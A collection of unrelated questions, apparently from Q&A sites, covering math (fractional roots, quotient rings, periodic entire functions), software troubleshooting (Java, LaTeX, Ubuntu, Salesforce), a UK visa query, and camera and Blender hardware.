Consider the following expression $$\sqrt[4]{1296}=6$$  To find the 4th root of $1296$, first we write $1296$ as product of prime factors $$1296=3^4 \times 2^4$$  Now, $$\sqrt[4]{1296}=\sqrt[4]{3^4 \times 2^4}=3\times 2=6$$  But, I find it confusing when we have a decimal, say find $\sqrt[4.5]{1296}$  What does it really mean? How do we calculate it? I assume there is some real meaning for this because all the calculators calculates these.  Note: I know $\sqrt[4.5]{1296}=4.91688$ and $4.91688^{4.5}=1296$. This is not what I am asking. Actually, $4.5$th root or $4.5$th power, all are confusing statements to me and I was trying to understand if this has a real meaning.


How does $\Bbb Z[X]/(2, X^2+1)$ look like? I've got a problem that asks a proof for the fact that this ring has $4$ elements, yet it's not isomorphic with $\Bbb Z_2 \times  \Bbb Z_2$, but I can't even understand how this set looks like.


Re-entering UK on multiplie entry general visitor visa of 6 months

I came to UK on a 6 month multiple-entry general visitor visa issued on 26 Oct 2015 to appear in a professional exam and meet some relatives. My return ticket was of 2 Jan 2016 but I have to go back early due to some family issue back home.  In the mean time there was a job offer in which I was offered an interview so I am planning to back to UK on 13 Jan 2016 for about a week to attend interview and then return back. My visitor visa is valid until April 2016.    My question is, will it be a problem during my re entering to UK and can I come on the same general visitor visa to attend an interview?  I live originally in Pakistan


How many actuations are "too many actuations"?

When looking at used camera bodies, a question that comes up a lot, is "how many shutter actuations, or clicks, does it have?"   What I am wondering is, how many is too many. In other words, is there a reference for knowing when a sensor is more likely to go? How should I judge a camera body with 20000 vs 5000? Is that a significant difference, or is that not even relevant.  Obviously this might something that is dependent on model, so if there is some information based on model that would be even more interesting.  One of the guys at Canon Tech Support said that this is completely irrelevant for the Rebel series cameras, but he is obviously slightly biased. :)


I am running Blender on a 2016 Macbook Pro that is not equipped for rendering. My renders are taking ages (6 to 8 hours to render wooden products on white background). I want to make interiors renders so I need to upgrade my setup. I am considering an external GPU for my mac but I don't now what solution to use for:  the enclosure hardware the graphic card  If you guys can help me on that, I would be really pleased Thanks


Is there an easy way to get the coordinates of a specific player using command blocks? I was trying to find a way to do this but I could not find any info about it.


How to switch ubuntu in CUI and GUI mode (for memory saving)?

I installed ubuntu 14 desktop version with VMWare Fusion on my mac, as I need to execute some linux binaries on mac. The issue is that ubuntu itself occupies almost 1G bytes of memory with the GUI. I sometimes need to run the GUI programs, but most of the time, I use ubuntu as a server accessed with ssh from mac. So, it's overkill when I assigned only 2G memory for the virtual machine to run ubuntu.   My question is how to switch ubuntu in GUI or CUI (command line user interface, i.e., text mode) mode in this case to save memory?   I'm not trying to run cui mode at booting time, I just want to switch between gui and text mode.


how to build a carriage that reacts to an uneven ground

Dear Blender Community,   i would like to build a very simple carriage kind of vehicle, that is simply pushed or dragged over a surface and has the possibility to react to it. My first idea was to use the rigid body settings for it and just build it how i would build it in real life and push it with a cage like box over the surface. but whenever i start to push it, it simply explodes! I applied all the locations/sizes/transformations whatever and the objectcollision shapes are all set to "mesh". I realy don't get it and can't believe that it is so hard. Maybe someone has an idea how this kind of a model can work and react to an uneven surface, that there is this carriage vibe to it? Would be great!   this is how my model looks now, it doesn't need to be much more complex concerning the design:


I am using a rooted fire tablet and have some apps installed on a 4GB sd card.  How can I migrate to a larger sd card? Will cloning and expanding the partition with gparted work?   I'm familiar with Linux and external storage is mounted via UUID. So I was afraid of just copy and paste, because that doesn't copy the UUID.   Duplicate, but no satisfying answer:


pgfplots plotting inverse exponential not working?

I am trying to plot a graph of 100*e^(-x/5) in LaTeX but for some reason it will only plot up to x=5.  \documentclass{article} \usepackage{pgfplots} \usepackage{tikz} \begin{document} \begin{figure}[h] \centering \begin{tikzpicture} \begin{axis}[  xlabel=$\Delta V$, ylabel={$\% payload$}, xmin = 0, xmax = 10, ymin = 0, ymax = 100, samples = 65 ]  \addplot [black, smooth]{100*exp(-x/5)};  \end{axis} \end{tikzpicture} \end{figure} \end{document}   Is there any reason for this? How can I get around it?


Prove a doubly periodic entire analytic function in complex plane is a constant

I got stuck on this problem. So I really appreciate if anyone can give me some hint to move on. Thanks a lot.     Prove that an entire analytic function $f:\mathbb{C} \rightarrow \mathbb{C}$ is a constant function if $f(z) = f(z+1)=f(z+i)$ for all $z \in \mathbb{C}$   As far as I know, there're some famous theorems on how to prove an entire analytic function is constant, like Liouville theorem, maximal modulus theorem, identity theorem... But I still can't figure out how to apply those to this problem. I think about the dense property of $\mathbb{Q}$ in $\mathbb{R}$, so I tried to prove that $f(z) = f(z+q)$ for all $z \in \mathbb{C}$ and all $q \in \mathbb{Q}$, then use the continuity to prove that it's true for $q \in \mathbb{R}$. But I can't prove that statement.


Suppose A, B and C are sets such that #A=#B. Is it true that #(A x C) =#(B x C)? If it is, prove that.

I'm sure that this is true, because A and B have the same cardinality (number of elements in the set). So there has to be the same number of ordered pairs with C in both cases. But I'm not sure how to exactly prove it since we just started with cardinality.


I faced whit this issue trying to install any package:  The dependency tree is built  Status information is read ... Finished  The gimp package is not available, but it is mentioned by another package. This might mean that the package is missing, has become obsolete, or Is only available from another source.  E: Package 'gimp' has no installation candidate   How can I fix it? Thank you.


Strange null pointer exception when using ConcurentHashMap (int java.lang.Object.hashCode())

This is on Android.  In one of my bug report I often see this     java.lang.NullPointerException: Attempt to invoke virtual method 'int   java.lang.Object.hashCode()' on a null object reference at   java.util.concurrent.ConcurrentHashMap.replaceNode(ConcurrentHashMap.java:942)   at   java.util.concurrent.ConcurrentHashMap.remove(ConcurrentHashMap.java:933)   at xxxx.MyActivity$1.handleMessage(MyActivity.java:261) at   android.os.Handler.dispatchMessage(Handler.java:102) at   android.os.Looper.loop(Looper.java:158) at   android.app.ActivityThread.main(ActivityThread.java:7229) at   java.lang.reflect.Method.invoke(Native Method) at   com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1230)   at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)   The code at line 261 is  handler = new Handler(Looper.getMainLooper()) {       @Override       public void handleMessage(Message inputMessage) {           switch (inputMessage.what) {            case 'test':                Object[] args = (Object[]) inputMessage.obj;               LatLng latLng = (LatLng) args[0];                // This is the line where the error is thrown               Circle circle = mapCircles.remove(latLng);          }  }   Basically my threads send a message to the UI handler. mapCircles is a ConcurentHashMap  I know it is hard to help, but does any one know what causes the java.lang.NullPointerException: Attempt to invoke virtual method 'int java.lang.Object.hashCode()' ?  Does the latLng object becomes null at some points in its lifetime? if latLng WAS null the errorwould have been something else mapCircles is definitely not null


How to create a tag for a very new and specific topic, which have a really small number of followers (all of them with low reputation on stackoverflow) in the optic of having a growing community that help each others by answering questions related to the topic ( inexistant in stackoverflow for the moment ) ?


Long ago someone demonstrated the following card trick with a standard 52-card deck:  (1) A volunteer selects 5 cards from a shuffled deck, which the performer does not see.  (2) The assistant puts exactly 4 of those in a pile and passes it to the performer.  (3) The performer can then identify the 5th card.  There are a few ways to execute this trick, one of which goes as follows.  (1) The assistant finds a suit common to 2 of the 5 cards, with values $x$ and $y$ modulo $13$.  (2) He then removes one of them, say $x$, such that $x-y \in [1..6]$ modulo $13$.  (3) He then puts the other one at the top of the pile.  (4) And he puts the 3 other cards after that in a permutation corresponding to $x-y$ modulo $13$.  Since (1) works by pigeonhole, (2) works because $\frac{13-1}{2} = 6$, and (4) works because there are 6 possible permutations of 3 cards, the trick succeeds. My question is whether the same trick can work with more than 52 cards. It is not obvious to me how to do so, nor compute the maximum number of (pairwise distinct) cards possible. Also, it seems to me that even if the trick can be made to work for $n$ cards, it may not work for $n-1$ cards! Any ideas?


How does the arraylist change the position of it's items every time I loop through them?

I have two array list, the first  called que and the second list shuffledQue which is a shuffled que.I have an integer indicating to the current position of the item in the que called currentTrackIndex, so when I assign the que to shuffledQue and shuffle the list I look for the new position of the current item and assign it to currentShuffledTrackIndex. But what I get afterwards is that que changes the position of it's items.                      List<TrackModel> que = new ArrayList<>();                     List <TrackModel> shuffledQue = new ArrayList<>();                     /*                      some code where I add items to the que                      */                         boolean shuffle = intent.getBooleanExtra("isOn", true);                         TrackModel currentTrack3 = que.get(currentTrackIndex);                         if(shuffle) {                             for(int i =0; i < que.size(); i++){                                 TrackModel model = que.get(i);                                 String trackname = model.getaName();                                 Log.i("TAG", "que " + trackname);                             }                             shuffledQue = que;                             Collections.shuffle(shuffledQue);                             for(int i = 0; i < shuffledQue.size(); i++)                             {                                 TrackModel trackModel = shuffledQue.get(i);                                 if(trackModel.getID() == currentTrack3.getID()){                                     currentShuffledTrackIndex = shuffledQue.indexOf(trackModel);                                 }                             }                              for(int i =0; i < que.size(); i++){                                 TrackModel model = que.get(i);                                 String trackname = model.getaName();                                 Log.i("TAG", "que2 " + trackname);                             }                             preferences.edit().putInt("selected_track", currentShuffledTrackIndex).apply();                             json = gson.toJson(shuffledQue);                             preferences.edit().putString("shuffledQueJSON", json).apply();                         }   logcat     12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que Frank Sinatra Fly Me To The Moon 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que Marshmello - Alone (Official Music Video) 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que [Electro] - Laszlo - Supernova [Monstercat Release 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que Louis Armstrong - What A Wonderful World [HQ] 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que Chris Brown - Turn Up the Music 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que Vangelis - Alpha 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que2 Louis Armstrong - What A Wonderful World [HQ] 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que2 [Electro] - Laszlo - Supernova [Monstercat Release 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que2 Vangelis - Alpha 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que2 Chris Brown - Turn Up the Music 12-19 21:11:34.277 14704-14704/com.sparidapps.musicplayer I/TAG: que2 Frank Sinatra Fly Me To The Moon 12-19 21:11:34.278 14704-14704/com.sparidapps.musicplayer I/TAG: que2 Marshmello - Alone (Official Music Video)   As you see in the logcat the items of the que list change their position, and I couldn't figure out why. Thanks in advance!


Roll-up Summary FIeld is not calculated on after insert trigger

I have a custom object that has a master-detail relationship with another object, which has a master-detail relationship with another object. To simplify, consider them as: order, order item and receipt note.  Every time an item arrives, a "receipt" record is created, which specifies the amount of items that arrived. So if an order has 10 units of 1 item, it is possible to receive 10 or less at once.  On the order item I have a field called "received amount" which sums the "quantity" field from related receipts. So I know, for example, when X out of Y items arrived. I have a similar relationship with the item and the parent, that shows how many items were totally delivered.   The problem is that on the grand-children record (receipt) I have a trigger running on after insert which is supposed to check on the parent (order) if all the items were received (AmountOfItems == DeliveredItems), but the parent record, when queried on the trigger, doesn't display the updated value on the DeliveredItems roll-up field when the trigger code is running.  After the trigger runs, right before my test method exists, I query the parent again to check the fields, and I can see the value updated.  My guess is that this is either a bug, or the fields are calculated only after all the trigger context is run by the platform (which includes the after insert event). Am I right? How can I get around this?